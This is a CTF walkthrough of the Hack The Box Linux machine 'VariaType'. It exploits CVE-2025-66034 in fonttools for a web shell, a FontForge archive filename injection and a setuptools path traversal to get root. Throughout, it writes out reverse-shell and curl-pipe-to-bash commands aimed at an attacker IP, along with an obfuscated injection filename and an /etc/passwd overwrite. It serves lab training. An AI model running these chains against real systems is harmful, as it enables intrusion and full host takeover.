> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / LINUX / 2026-06-13

Hack The Box — VariaType (Linux)

Fonttools file write via CVE-2025-66034 exposes portal credentials, FontForge archive handling yields RCE as steve, and a setuptools path traversal in a sudo-allowed validator script leads to root.

Target

  • IP: 10.129.8.98

Port Scan

sudo nmap -sC -sV 10.129.8.98 -p- -v
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_  256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open  http    nginx 1.22.1
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add variatype.htb to /etc/hosts.

Go to http://variatype.htb/.

The site says:

Upload your .designspace file and master fonts (.ttf/.otf) to generate a fully compliant variable font. We use the same fonttools engine used by Google Fonts and major foundries.

We help teams integrate variable font generation into CI/CD pipelines using open standards like fonttools, fontmake, and gftools

On http://variatype.htb/tools/variable-font-generator we can upload a .designspace file and one or more .ttf or .otf files, and a variable font is generated.

There is a vulnerability in fonttools: CVE-2025-66034.

PoC:

  • https://github.com/advisories/GHSA-768j-98cg-p3fv

Following the PoC, we use the setup.py script to generate the source-light.ttf and source-regular.ttf files. Then we can upload a malicious.designspace file like the one in the PoC to trigger the vulnerability. We can write arbitrary files, but we do not yet know where to write them.

Further Enumeration

We keep enumerating, for example by discovering additional virtual hosts:

gobuster vhost -u 'http://variatype.htb/' -w /home/kali/wordlists/subdomains-top1million-110000.txt -t 50 --append-domain
portal.variatype.htb Status: 200 [Size: 2494]

Add it to /etc/hosts.

gobuster dir -u 'http://portal.variatype.htb/' -w /home/kali/wordlists/raft-small-words.txt -t 50 -x php
index.php            (Status: 200) [Size: 2494]
download.php         (Status: 302) [Size: 0] [--> /]
files                (Status: 301) [Size: 169] [--> http://portal.variatype.htb/files/]
view.php             (Status: 302) [Size: 0] [--> /]
auth.php             (Status: 200) [Size: 0]
.                    (Status: 200) [Size: 2494]
dashboard.php        (Status: 302) [Size: 0] [--> /]
.git                 (Status: 301) [Size: 169] [--> http://portal.variatype.htb/.git/]

We notice that the .git directory is exposed. Download git-dumper:

  • https://github.com/arthaud/git-dumper
mkdir www
python3 git-dumper/git_dumper.py http://portal.variatype.htb/ www
cd www
git log
commit 753b5f5957f2020480a19bf29a0ebc80267a4a3d (HEAD -> master)
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:59:33 2025 -0500

    fix: add gitbot user for automated validation pipeline

commit 5030e791b764cb2a50fcb3e2279fea9737444870
Author: Dev Team <dev@variatype.htb>
Date:   Fri Dec 5 15:57:57 2025 -0500

    feat: initial portal implementation

In the gitbot commit, the auth.php file contains credentials:

$USERS = [
    'gitbot' => 'G1tB0t_Acc3ss_2025!'
];

Log in to portal.variatype.htb with those credentials. There is a page where we can see the fonts created by the first site. We can view or download them.

Clicking the download button sends us to a URL like this:

http://portal.variatype.htb/download.php?f=variabype_X4oGt7Ka10U.ttf

We can check whether directory traversal is possible. Intercept the HTTP download request with Burp and send it to Repeater. After some testing, we discover that we can retrieve index.php with this path:

/download.php?f=....//index.php

If we request download.php itself:

/download.php?f=....//download.php

We notice this line:

$filepath = '/var/www/portal.variatype.htb/public/files/' . $file;

Now that we have a writable path inside the PHP site, we can exploit the earlier vulnerability to write a .php file into /var/www/portal.variatype.htb/public/files/ and get RCE. See the malicious.designspace file attached.

On variatype.htb, upload malicious.designspace, source-light.ttf, and source-regular.ttf, then generate the font. Now go to:

http://portal.variatype.htb/files/shell.php?cmd=id

The output shows:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

We have RCE, so we can get a reverse shell.

Create a file named rev with this content:

bash -i >& /dev/tcp/10.10.16.41/4444 0>&1

Start listening:

python3 -m http.server 5555
nc -vlnp 4444

Now go to:

http://portal.variatype.htb/files/shell.php?cmd=curl%20http://10.10.16.41:5555/rev%20|%20bash

Which corresponds to the payload:

curl http://10.10.16.41:5555/rev | bash

We obtain a reverse shell as www-data.

ls -la /home
total 12
drwxr-xr-x  3 root  root  4096 Dec  5 13:59 .
drwxr-xr-x 18 root  root  4096 Mar  9 08:29 ..
drwx------  8 steve steve 4096 Feb 27 06:16 steve

We notice the user steve.

In /opt we notice the file process_client_submissions.bak, owned by steve:steve.

cat process_client_submissions.bak

It seems that this script is executed when, on the portal site, we click view for one of the font files generated by the site. However, we can now place a file of any type with any extension there. When we click view on a file, the script checks whether the file has one of these extensions:

EXTENSIONS=(
    "*.ttf" "*.otf" "*.woff" "*.woff2"
    "*.zip" "*.tar" "*.tar.gz"
    "*.sfd"
)

It also checks that the filename matches this regex:

SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'

Then it runs this command on the file:

/usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
    font = fontforge.open('$file')
    family = getattr(font, 'familyname', 'Unknown')
    style = getattr(font, 'fontname', 'Default')
    print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
    font.close()
except Exception as e:
    print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
    sys.exit(1)
";

Searching online, we find two vulnerabilities in FontForge: CVE-2024-25081 and CVE-2024-25082. Useful page:

  • https://www.openwall.com/lists/oss-security/2024/03/08/2

The page says:

FontForge used the system() function to execute commands to unpack fonts from archives, and the command line arguments it provides include both the name of the archive and the name of a font file specified inside the archive, leading to a classic command injection vulnerability if used to unpack a specially-named or a specially-crafted archive file.

So we can create a file with a special name to execute commands. On the victim machine, create /dev/shm/rev with this content:

#!/bin/bash
bash -i >& /dev/tcp/10.10.16.41/4444 0>&1

Make it executable:

chmod +x /dev/shm/rev

Then run these commands to create the malicious archive and copy it into the directory used by the portal site:

touch myfile
mv myfile '$(echo -n L2Rldi9zaG0vcmV2 | base64 -d | bash)'
tar cvf myarchive.tar '$(echo -n L2Rldi9zaG0vcmV2 | base64 -d | bash)'
cp myarchive.tar /var/www/portal.variatype.htb/public/files/

On the attacker machine, start listening:

nc -vlnp 4444

Now go to http://portal.variatype.htb/dashboard.php. We can see the myarchive.tar file. Click view.

In the netcat terminal, we get a reverse shell as steve.

sudo -l
Matching Defaults entries for steve on variatype:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *
cat /opt/font-tools/install_validator.py

We notice:

from setuptools.package_index import PackageIndex
[...]
index = PackageIndex()
[...]
downloaded_path = index.download(plugin_url, PLUGIN_DIR)

There is a path traversal vulnerability: CVE-2025-47273. Check the version:

python3
Python 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import setuptools
>>> setuptools.__version__
'78.1.0'

It is vulnerable.

Source code:

  • https://github.com/pypa/setuptools/blob/v78.1.0/setuptools/package_index.py#L810

The interesting part is this:

filename = os.path.join(tmpdir, name)

where name is the final part of the URL we provide. If there is a leading / in name, join() ignores tmpdir. So we can write a file to an arbitrary path. The idea is to overwrite /etc/passwd with a user that has root privileges. Copy /etc/passwd from the victim machine to the attacker machine in a file named passwd. Then add the malicious user:

pw=$(openssl passwd Password123); echo "r00t:${pw}:0:0:root:/root:/bin/bash" >> passwd

Now start a Flask server that always serves the passwd file regardless of the path that is requested. See the test_server.py script.

python3 test_server.py

On the victim machine, in Steve's shell, run:

sudo /usr/bin/python3 /opt/font-tools/install_validator.py http://10.10.16.41:5000/%2fetc%2fpasswd

We get:

2026-03-15 12:38:44,510 [INFO] Attempting to install plugin from: http://10.10.16.41:5000/%2fetc%2fpasswd
2026-03-15 12:38:44,519 [INFO] Downloading http://10.10.16.41:5000/%2fetc%2fpasswd
2026-03-15 12:38:44,703 [INFO] Plugin installed at: /etc/passwd
cat /etc/passwd

We see the r00t user.

su r00t

Enter the password Password123.

We are root.